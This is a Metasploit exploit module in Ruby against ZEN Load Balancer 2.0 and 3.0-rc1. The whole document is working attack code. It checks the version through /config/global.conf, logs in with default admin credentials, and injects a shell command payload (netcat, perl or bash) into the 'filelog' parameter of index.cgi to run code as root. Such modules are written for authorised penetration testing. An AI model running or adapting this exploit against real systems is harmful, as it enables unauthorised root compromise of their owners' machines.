123 lines
3.6 KiB
Ruby
123 lines
3.6 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => "ZEN Load Balancer Filelog Command Execution",
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'Description' => %q{
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This module exploits a vulnerability in ZEN Load Balancer
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version 2.0 and 3.0-rc1 which could be abused to allow authenticated users
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to execute arbitrary code under the context of the 'root' user.
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The 'content2-2.cgi' file uses user controlled data from the 'filelog'
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parameter within backticks.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
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],
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'References' =>
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[
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['OSVDB', '85654'],
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['URL', 'http://itsecuritysolutions.org/2012-09-21-ZEN-Load-Balancer-v2.0-and-v3.0-rc1-multiple-vulnerabilities/']
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],
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'DefaultOptions' =>
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{
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'ExitFunction' => 'none'
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},
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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'DisableNops' => true,
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic netcat netcat-e perl bash',
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}
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},
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'Targets' =>
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[
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['Automatic Targeting', { 'auto' => true }]
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],
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'Privileged' => true,
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'DisclosureDate' => "Sep 14 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(444),
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OptBool.new('SSL', [true, 'Use SSL', true]),
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OptString.new('USERNAME', [true, 'The username for the application', 'admin']),
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OptString.new('PASSWORD', [true, 'The password for the application', 'admin'])
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], self.class)
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end
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def check
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@peer = "#{rhost}:#{rport}"
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# retrieve software version from config file
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print_status("#{@peer} - Sending check")
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begin
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res = send_request_cgi({
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'uri' => '/config/global.conf'
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})
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if res and res.code == 200 and res.body =~ /#version ZEN\s+\$version=\"(2|3\.0\-rc1)/
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return Exploit::CheckCode::Appears
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elsif res and res.code == 200 and res.body =~ /zenloadbalancer/
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return Exploit::CheckCode::Detected
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end
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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print_error("#{@peer} - Connection failed")
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end
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return Exploit::CheckCode::Unknown
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end
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def exploit
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@peer = "#{rhost}:#{rport}"
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user = datastore['USERNAME']
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pass = datastore['PASSWORD']
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auth = Rex::Text.encode_base64("#{user}:#{pass}")
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cmd = Rex::Text.uri_encode(";#{payload.encoded}&")
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lines = rand(100) + 1
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# send payload
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print_status("#{@peer} - Sending payload (#{payload.encoded.length} bytes)")
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begin
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res = send_request_cgi({
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'uri' => "/index.cgi?nlines=#{lines}&action=See+logs&id=2-2&filelog=#{cmd}",
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'headers' =>
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{
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'Authorization' => "Basic #{auth}"
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}
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}, 25)
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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fail_with(Failure::Unreachable, 'Connection failed')
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rescue
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fail_with(Failure::Unknown, 'Sending payload failed')
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end
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if res and res.code == 401
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fail_with(Failure::NoAccess, 'Authentication failed')
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end
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end
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end
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